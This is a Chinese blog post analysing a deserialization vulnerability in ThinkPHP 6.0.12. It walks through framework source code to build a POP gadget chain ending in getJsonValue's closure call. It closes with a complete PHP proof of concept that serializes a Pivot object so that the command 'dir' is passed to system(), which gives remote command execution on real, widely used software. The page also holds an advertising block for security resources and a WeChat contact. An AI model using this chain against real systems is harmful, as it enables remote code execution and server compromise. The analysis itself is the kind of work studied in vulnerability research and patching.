写点什么

Thinkphp 最新版本漏洞分析

  • 2022 年 2 月 27 日
  • 本文字数:3714 字

    阅读完需:约 12 分钟

环境

Thinkphp6.0.12LTS(目前最新版本);


PHP7.3.4。

安装

composer create-project topthink/think tp6
复制代码

测试代码

漏洞分析

漏洞起点不是__desturct就是__wakeup全局搜索下,起点在vendor\topthink\think-orm\src\Model.php


只要把this->lazySave设为True,就会调用了save方法。



【一>所有资源获取<一】1、网络安全学习路线 2、电子书籍(白帽子)3、安全大厂内部视频 4、100 份 src 文档 5、常见安全面试题 6、ctf 大赛经典题目解析 7、全套工具包 8、应急响应笔记


跟进save方法,漏洞方法是updateData,但需要绕过①且让②为True,①调用isEmpty方法。



public function save(array $data = [], string $sequence = null): bool    {        // 数据对象赋值        $this->setAttrs($data);        if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {            return false;        }        $result = $this->exists ? $this->updateData() : $this->insertData($sequence);
复制代码


跟进isEmpty方法,只要$this->data不为空就行。



$this->trigger方法默认返回就不是false,跟进updateData方法。漏洞方法是checkAllowFields默认就会触发。



protected function updateData(): bool    {        // 事件回调        if (false === $this->trigger('BeforeUpdate')) {            return false;        }        $this->checkData();
// 获取有更新的数据 $data = $this->getChangedData();
if (empty($data)) { // 关联更新 if (!empty($this->relationWrite)) { $this->autoRelationUpdate(); } return true; } if ($this->autoWriteTimestamp && $this->updateTime) { // 自动写入更新时间 $data[$this->updateTime] = $this->autoWriteTimestamp(); $this->data[$this->updateTime] = $data[$this->updateTime]; } // 检查允许字段 $allowFields = $this->checkAllowFields();
复制代码


跟进checkAllowFields方法,漏洞方法是db,默认也是会触发该方法,继续跟进。



protected function checkAllowFields(): array    {        // 检测字段        if (empty($this->field)) {            if (!empty($this->schema)) {                $this->field = array_keys(array_merge($this->schema, $this->jsonType));            } else {                $query = $this->db();
复制代码


跟进db方法,存在$this->table . $this->suffix字符串拼接,可以触发__toString魔术方法,把$this->table设为触发__toString类即可。



public function db($scope = []): Query    {        /** @var Query $query */        $query = self::$db->connect($this->connection)            ->name($this->name . $this->suffix)            ->pk($this->pk);        if (!empty($this->table)) {            $query->table($this->table . $this->suffix);        }
复制代码


全局搜索__toString方法,最后选择vendor\topthink\think-orm\src\model\concern\Conversion.php类中的__toString方法。


跟进__toString方法,调用了toJson方法。



跟进toJson方法,调用了toArray方法,然后以 JSON 格式返回。



跟进toArray方法,漏洞方法是getAtrr默认就会触发,只需把$data设为数组就行。



public function toArray(): array    {        $item       = [];        $hasVisible = false;
foreach ($this->visible as $key => $val) { if (is_string($val)) { if (strpos($val, '.')) { [$relation, $name] = explode('.', $val); $this->visible[$relation][] = $name; } else { $this->visible[$val] = true; $hasVisible = true; } unset($this->visible[$key]); } } foreach ($this->hidden as $key => $val) { if (is_string($val)) { if (strpos($val, '.')) { [$relation, $name] = explode('.', $val); $this->hidden[$relation][] = $name; } else { $this->hidden[$val] = true; } unset($this->hidden[$key]); } }
// 合并关联数据 $data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val) { if ($val instanceof Model || $val instanceof ModelCollection) { // 关联模型对象 if (isset($this->visible[$key]) && is_array($this->visible[$key])) { $val->visible($this->visible[$key]); } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) { $val->hidden($this->hidden[$key]); } // 关联模型对象 if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) { $item[$key] = $val->toArray(); } } elseif (isset($this->visible[$key])) { $item[$key] = $this->getAttr($key); } elseif (!isset($this->hidden[$key]) && !$hasVisible) { $item[$key] = $this->getAttr($key);
复制代码


跟进getAttr方法,漏洞方法是getValue,但传入getValue方法中的$value是由getData方法得到的。



public function getAttr(string $name)    {        try {            $relation = false;            $value    = $this->getData($name);        } catch (InvalidArgumentException $e) {            $relation = $this->isRelationAttr($name);            $value    = null;        }
return $this->getValue($name, $value, $relation);
复制代码


跟进getData方法,$this->data可控,$fieldName来自getRealFieldName方法。



跟进getRealFieldName方法,默认直接返回传入的参数。所以$fieldName也可控,也就是传入getValue$value参数可控。



跟进getValue方法,在 Thinkphp6.0.8 触发的漏洞点在①处,但在 Thinkphp6.0.12 时已经对传入的$closure进行判断。此次漏洞方法的getJsonValue方法。但需要经过两个 if 判断,$this->withAttr$this->json都可控,可顺利进入getJsonValue方法。



protected function getValue(string $name, $value, $relation = false)    {        // 检测属性获取器        $fieldName = $this->getRealFieldName($name);
if (array_key_exists($fieldName, $this->get)) { return $this->get[$fieldName]; }
$method = 'get' . Str::studly($name) . 'Attr'; if (isset($this->withAttr[$fieldName])) { if ($relation) { $value = $this->getRelationValue($relation); } if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) { $value = $this->getJsonValue($fieldName, $value);
复制代码


跟进getJsonValue方法,触发漏洞的点在$closure($value[$key], $value)只要令$this->jsonAssocTrue就行。


$closure$value都可控。



protected function getJsonValue($name, $value)    {        if (is_null($value)) {            return $value;        }
foreach ($this->withAttr[$name] as $key => $closure) { if ($this->jsonAssoc) { $value[$key] = $closure($value[$key], $value);
复制代码

完整 POP 链条

POC 编写

<?phpnamespace think{    abstract class Model{        private $lazySave = false;        private $data = [];        private $exists = false;        protected $table;        private $withAttr = [];        protected $json = [];        protected $jsonAssoc = false;        function __construct($obj = ''){            $this->lazySave = True;            $this->data = ['whoami' => ['dir']];            $this->exists = True;            $this->table = $obj;            $this->withAttr = ['whoami' => ['system']];            $this->json = ['whoami',['whoami']];            $this->jsonAssoc = True;        }    }}namespace think\model{    use think\Model;    class Pivot extends Model{    }}
namespace{ echo(base64_encode(serialize(new think\model\Pivot(new think\model\Pivot()))));}
复制代码

利用



用户头像

我是一名网络安全渗透师 2021.06.18 加入

关注我,后续将会带来更多精选作品,需要资料+wx:mengmengji08

评论

发布
暂无评论
Thinkphp最新版本漏洞分析